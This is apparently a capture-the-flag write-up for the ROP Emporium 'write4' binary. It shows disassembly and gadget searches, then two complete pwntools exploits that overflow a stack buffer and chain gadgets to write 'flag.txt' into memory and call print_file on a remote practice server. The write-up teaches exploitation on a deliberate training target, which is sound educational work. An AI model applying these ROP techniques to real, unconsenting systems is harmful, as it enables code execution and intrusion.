write4

This is a challenging binary but teaches a lot about how ROP can be used to produce some great results. We'll discuss the inspiration for why we decide to choose our attack vector, discuss why it's possible, and then build a supporting ROP chain. This is the challenge that taught me to do ROP (shoutout LT King); I think it's a super valuable challenge to learn from.

Attack Vector Inspiration

Running the binary proves to be pretty useless because none of the output is particularly helpful. Instead, we choose to do some static analysis, as well as some gadget hunting, to find what we need to beat this challenge.

When we open the binary in `gdb` / `radare2`, we notice that `pwnme` function is actually inside *libwrite4.so*, so we go there first. Checking the contents of `pwnme` in `radare2`:

```
[0x7f58ace007d0]> pdf@sym.pwnme
┌ 153: sym.pwnme ();
│           ; var int64_t var_20h @ rbp-0x20
│           0x7f58ace008aa      55             push rbp
│           0x7f58ace008ab      4889e5         mov rbp, rsp
│           0x7f58ace008ae      4883ec20       sub rsp, 0x20
│           0x7f58ace008b2      488b05270720.  mov rax, qword
[reloc.stdout] ; [0x7f58ad000fe0:8]=0
│           0x7f58ace008b9      488b00         mov rax, qword [rax]
│           0x7f58ace008bc      b900000000     mov ecx, 0
│           0x7f58ace008c1      ba02000000     mov edx, 2
│           0x7f58ace008c6      be00000000     mov esi, 0
│           0x7f58ace008cb      4889c7         mov rdi, rax
│           0x7f58ace008ce      e8bdfeffff     call sym.imp.setvbuf    ;
int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x7f58ace008d3      488d3d060100.  lea rdi,
str.write4_by_ROP_Emporium ; sym..rodata
│                                                                      ;
0x7f58ace009e0 ; "write4 by ROP Emporium"
│           0x7f58ace008da      e851feffff     call sym.imp.puts       ;
int puts(const char *s)
│           0x7f58ace008df      488d3d110100.  lea rdi, str.x86_64_n   ;
0x7f58ace009f7 ; "x86_64\n"
│           0x7f58ace008e6      e845feffff     call sym.imp.puts       ;
int puts(const char *s)
│           0x7f58ace008eb      488d45e0       lea rax, [var_20h]
│           0x7f58ace008ef      ba20000000     mov edx, 0x20           ; 32
│           0x7f58ace008f4      be00000000     mov esi, 0
│           0x7f58ace008f9      4889c7         mov rdi, rax
│           0x7f58ace008fc      e85ffeffff     call sym.imp.memset     ;
void *memset(void *s, int c, size_t n)
│           0x7f58ace00901      488d3df80000.  lea rdi,
str.Go_ahead_and_give_me_the_input_already__n ; 0x7f58ace00a00 ; "Go ahead
```

```
and give me the input already!\n"
|           0x7f58ace00908      e823feffff     call sym.imp.puts       ;
int puts(const char *s)
|           0x7f58ace0090d      488d3d150100.  lea rdi, [0x7f58ace00a29] ;
"> "
|           0x7f58ace00914      b800000000     mov eax, 0
|           0x7f58ace00919      e832feffff     call sym.imp.printf     ;
int printf(const char *format)
|           0x7f58ace0091e      488d45e0       lea rax, [var_20h]
|           0x7f58ace00922      ba00020000     mov edx, 0x200          ;
rflags
|           0x7f58ace00927      4889c6         mov rsi, rax
|           0x7f58ace0092a      bf00000000     mov edi, 0
|           0x7f58ace0092f      e83cfeffff     call sym.imp.read       ;
ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x7f58ace00934      488d3df10000.  lea rdi, str.Thank_you_ ;
0x7f58ace00a2c ; "Thank you!"
|           0x7f58ace0093b      e8f0fdffff     call sym.imp.puts       ;
int puts(const char *s)
|           0x7f58ace00940      90             nop
|           0x7f58ace00941      c9             leave
└           0x7f58ace00942      c3             ret
```

The reason that I like `radare2` for static analysis is that it provides function headers and resolves strings automatically. This makes the disassembly process a lot easier. I personally think that `gdb` has better stepping usability for dynamic analysis, but is less feature-friendly for static analysis.

From this function, we notice that we're allowed a `0x200` byte payload being read on the stack. It is being read to `rbp-0x20` so we can quickly deduce it takes `0x28=40` bytes to reach the return pointer. Then, the rest is up to us.

Searching around the binary, we find the function `print_file`:

```
┌ 140: sym.print_file (int64_t arg1);
|           ; arg int64_t arg1 @ rdi
|           ; var int64_t var_8h @ rbp-0x8
|           ; var int64_t var_30h @ rbp-0x30
|           ; var int64_t var_38h @ rbp-0x38
|           0x7f30ac200943      55             push rbp
|           0x7f30ac200944      4889e5         mov rbp, rsp
|           0x7f30ac200947      4883ec40       sub rsp, 0x40
|           0x7f30ac20094b      48897dc8       mov qword [var_38h], rdi ;
arg1
|           0x7f30ac20094f      48c745f80000.  mov qword [var_8h], 0
|           0x7f30ac200957      488b45c8       mov rax, qword [var_38h]
|           0x7f30ac20095b      488d35d50000.  lea rsi, [0x7f30ac200a37] ;
"r"
|           0x7f30ac200962      4889c7         mov rdi, rax
|           0x7f30ac200965      e836feffff     call sym.imp.fopen      ;
file*fopen(const char *filename, const char *mode)
|           0x7f30ac20096a      488945f8       mov qword [var_8h], rax
```

```
│           0x7f30ac20096e      48837df800     cmp qword [var_8h], 0
│       ┌─< 0x7f30ac200973      7522           jne 0x7f30ac200997
│       │   0x7f30ac200975      488b45c8       mov rax, qword [var_38h]
│       │   0x7f30ac200979      4889c6         mov rsi, rax
│       │   0x7f30ac20097c      488d3db60000.  lea rdi,
str.Failed_to_open_file:__s_n ; 0x7f30ac200a39 ; "Failed to open file:
%s\n"
│       │   0x7f30ac200983      b800000000     mov eax, 0
│       │   0x7f30ac200988      e8c3fdffff     call sym.imp.printf     ;
int printf(const char *format)
│       │   0x7f30ac20098d      bf01000000     mov edi, 1
│       │   0x7f30ac200992      e819feffff     call sym.imp.exit       ;
void exit(int status)
│       │   ; CODE XREF from sym.print_file @ 0x7f30ac200973(x)
│       └─> 0x7f30ac200997      488b55f8       mov rdx, qword [var_8h]
│           0x7f30ac20099b      488d45d0       lea rax, [var_30h]
│           0x7f30ac20099f      be21000000     mov esi, 0x21           ;
'!' ; 33
│           0x7f30ac2009a4      4889c7         mov rdi, rax
│           0x7f30ac2009a7      e8d4fdffff     call sym.imp.fgets      ;
char *fgets(char *s, int size, FILE *stream)
│           0x7f30ac2009ac      488d45d0       lea rax, [var_30h]
│           0x7f30ac2009b0      4889c7         mov rdi, rax
│           0x7f30ac2009b3      e878fdffff     call sym.imp.puts       ;
int puts(const char *s)
│           0x7f30ac2009b8      488b45f8       mov rax, qword [var_8h]
│           0x7f30ac2009bc      4889c7         mov rdi, rax
│           0x7f30ac2009bf      e87cfdffff     call sym.imp.fclose     ;
int fclose(FILE *stream)
│           0x7f30ac2009c4      48c745f80000.  mov qword [var_8h], 0
│           0x7f30ac2009cc      90             nop
│           0x7f30ac2009cd      c9             leave
└           0x7f30ac2009ce      c3             ret
```

Based on the C code provided, this binary takes an `int64_t`, resolves the string at that address, and then prints the contents of the file with that name. This means that we need to find the address of *flag.txt* in memory, and then pass this address into `print_file`, and we'll have the flag!

Building the ROP Chain

The first step you should take is to find the flag in memory. `strings write4 | grep flag` tells us it's not there. Bummer. Can we introduce it into the binary somehow?

Our next step should be to check the gadgets to see if there's a way to pass data into memory. We need a way to store the string *flag.txt* at an address of our choice, and then pass that address into `print_file`. Let's look around `ROPgadget` for some `pop` gadgets:

```
$ ROPgadget --binary write4 --only "pop|ret"
Gadgets information
============================================================
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
```

```
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret
```

This seems useful enough. This provides us a way to load the first two parameter registers, meaning that we can pass an address into `print_file`. We know that the end of our payload will look something like:

```
payload += p64(pop_rdi)
payload += p64(flag_address)
payload += p64(f_printfile)
```

Now we need a way to store *flag.txt* somewhere. We'll check for a `mov` gadget, particularly one that moves a string to the **contents of an address*. Something like this might be useful:

```
MOV QWORD PTR [register_1], register_2
```

This would let put put *flag.txt* in `register_2`, and then store it at the value of `register_1`. We would also need to control `register_1` to make this happen.

Let's check `ROPgadget` for some options:

```
$ ROPgadget --binary write4 --only "mov|pop|ret"
Gadgets information
============================================================
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret
```

```
Unique gadgets found: 15
```

We find the following gadget which suits our needs:

```
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
```

This gadget lets us write the contents of `r15` at the location pointed to by `r14`. We can use this to write *flag.txt* to an address of our choice. We'll need to control `r14` and `r15` to make this happen.

> *Just like last time*, there is more than one solution. I wrote another solution in *exploit2.py* that uses the following gadget:
>
> ```
> 0x0000000000400629 : mov dword ptr [rsi], edi ; ret
> ```
>
> I'll talk more about this solution at the end of the writeup.

We'll go back and take note of the following gadget, which lets us control `r14` and `r15`:

```
0x0000000000400690 : pop r14 ; pop r15 ; ret
```

In this case, we'll load `r14` with the address to write to, and `r15` with the string to write.

Deciding Where to Write

Now, we need to figure out where we want to write. This is a crucial step because we don't want to overwrite crucial memory that forces our program to crash. Another important check is ensuring that *we are allowed to write* to the address we choose. **Not every section of memory is provided write permissions**, so it's important we find somewhere we can write.

We can check the mappings inside `gdb` and find a writeable location:

```
gef➤  info proc mappings
process 54986
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms
objfile
            0x400000           0x401000     0x1000        0x0  r-xp
/home/joybuzzer/Documents/vunrotc/public/binex/05-rop/write4/src/write4
            0x600000           0x601000     0x1000        0x0  r--p
/home/joybuzzer/Documents/vunrotc/public/binex/05-rop/write4/src/write4
            0x601000           0x602000     0x1000     0x1000  rw-p
/home/joybuzzer/Documents/vunrotc/public/binex/05-rop/write4/src/write4
```

We see that the `0x601000-0x602000` range is the only writeable range, so let's check around in there. We're looking for memory that's hopefully not used.

```
gef➤  x/20gx 0x601000
0x601000:	0x0000000000600e00	0x00007ffff7ffe2e0
0x601010:	0x00007ffff7fd8d30	0x0000000000400506
0x601020 <print_file@got.plt>:	0x0000000000400516	0x0000000000000000
0x601030:	0x0000000000000000	0x0000000000000000
0x601040:	0x0000000000000000	0x0000000000000000
0x601050:	0x0000000000000000	0x0000000000000000
0x601060:	0x0000000000000000	0x0000000000000000
0x601070:	0x0000000000000000	0x0000000000000000
0x601080:	0x0000000000000000	0x0000000000000000
0x601090:	0x0000000000000000	0x0000000000000000
```

We see that `0x601030` doesn't seem to be used by anything,so we'll choose there. We could play it safer and choose something further away, but in this case we'll see it doesn't matter.

> If you're writing your exploit and finding that your data doesn't seem to be writing to memory, or that your program is crashing, it's likely that you're writing to a location that's used. Try to find a different location.

Writing the Exploit

Now, let's put this all together. We'll start by defining the binary, library, and the process:

```
elf = context.binary = ELF('./write4')
libc = ELF('./libwrite4.so')
proc = remote('vunrotc.cole-ellis.com', 5400)
```

Then, we'll define all our essentials. The functions, variables, addresses, and gadgets:

```
# functions
f_printfile     = 0x400510

# addresses
a_writeLocation = 0x601030      # write location to build "flag.txt"

# gadgets
g_popR14R15     = 0x400690      # pop r14 ; pop r15 ; ret
g_writeR15AtR14 = 0x400628      # mov qword ptr [r14], r15 ; ret
g_popRdi        = 0x400693      # pop rdi; ret;
g_ret           = 0x400589      # ret;
```

Then, we'll build the chain.

```
# align the stack
ropChain += p64(g_ret)

# write flag.txt to string
ropChain += p64(g_popR14R15)
ropChain += p64(a_writeLocation)
ropChain += b'flag.txt'
ropChain += p64(g_writeR15AtR14)

# call print_file with string address
ropChain += p64(g_popRdi)
ropChain += p64(a_writeLocation)
ropChain += p64(f_printfile)
```

Finally, we'll send the payload and get the flag:

```
(proc.readuntil(b'> '))
proc.send(padding + ropChain)
proc.interactive()
```

This works! This gets us the flag.

> **If we want to make our exploit more robust**, we would need to ensure that the string is null-terminated. In the case that the data block after the one we chose gets used, we would need to ensure that the *flag.txt* string is null-terminated.
>
> To do this, we can add the following before the call to `print_file`:
>
> ```
> # write null byte to end of string
> ropChain += p64(g_popR14R15)
> ropChain += p64(a_writeLocation + 0x8)
> ropChain += p64(0x0)
> ropChain += p64(g_writeR15AtR14)
> ```
>
> This would ensure that our string is null-terminated, and that our code works.

Alternative Solution

This is the solution I mentioned earlier. This solution uses the following gadget:

```
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
```

This means we need to control `rsi` and `edi`. We'll use the following gadgets to do this:

```
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x0000000000400693 : pop rdi ; ret
```

Notice that our gadget pops `rdi`, but uses `edi` to move into memory. This means that we can only move `4` bytes at a time (since `edi` is the lower four bytes of `rdi`). From here, our chain would do the following:

- Align the stack
- Move *flag* into `addr` (the address we write to)
- Move *.txt* into `addr+4`
- Move a null byte into `addr+8`
- Call `print_file` with `addr` as the argument

This is a bit more complicated, but it works just as well. Note that we use `b'C' * 0x8` as a junk variable. I chose this for debugging purposes because it differentiates from the padding. We use `v_junk` to populate `r15` every time we use the `pop rsi` gadget.

Here is that exploit:

```python
from pwn import *

elf = context.binary = ELF('./write4')
libc = ELF('./libwrite4.so')
proc = remote('vunrotc.cole-ellis.com', 5400)

# functions
f_printfile = 0x400510

# variables and addresses
v_junk = 0x4343434343434343
a_writeLocation = 0x601030      # write location to build "flag.txt"

# gadgets
g_writeEdiAtRsi = 0x400629          # mov dword ptr [rsi], edi; ret;
g_popRdi = 0x400693                 # pop rdi; ret;
g_popRsiR15 = 0x400691              # pop rsi; pop r15; ret;
g_ret = 0x400589                    # ret;

padding = b'A' * 40
ropChain = b''

# align the stack
ropChain += p64(g_ret)

# write flag to string
ropChain += p64(g_popRsiR15)
ropChain += p64(a_writeLocation);
ropChain += p64(v_junk);
ropChain += p64(g_popRdi);
ropChain += b'flagAAAA'
ropChain += p64(g_writeEdiAtRsi);
```

```
# add .txt to end of string
ropChain += p64(g_popRsiR15);
ropChain += p64(a_writeLocation + 4);
ropChain += p64(v_junk);
ropChain += p64(g_popRdi);
ropChain += b'.txtAAAA'
ropChain += p64(g_writeEdiAtRsi);

# add null byte to end of string
ropChain += p64(g_popRsiR15);
ropChain += p64(a_writeLocation + 8);
ropChain += p64(v_junk);
ropChain += p64(g_popRdi);
ropChain += b'\x00AAAAAAA'
ropChain += p64(g_writeEdiAtRsi);

# call print_file with string address
ropChain += p64(g_popRdi);
ropChain += p64(a_writeLocation);
ropChain += p64(f_printfile);

print(proc.readuntil(b'> '))
proc.send(padding + ropChain)
proc.interactive()
```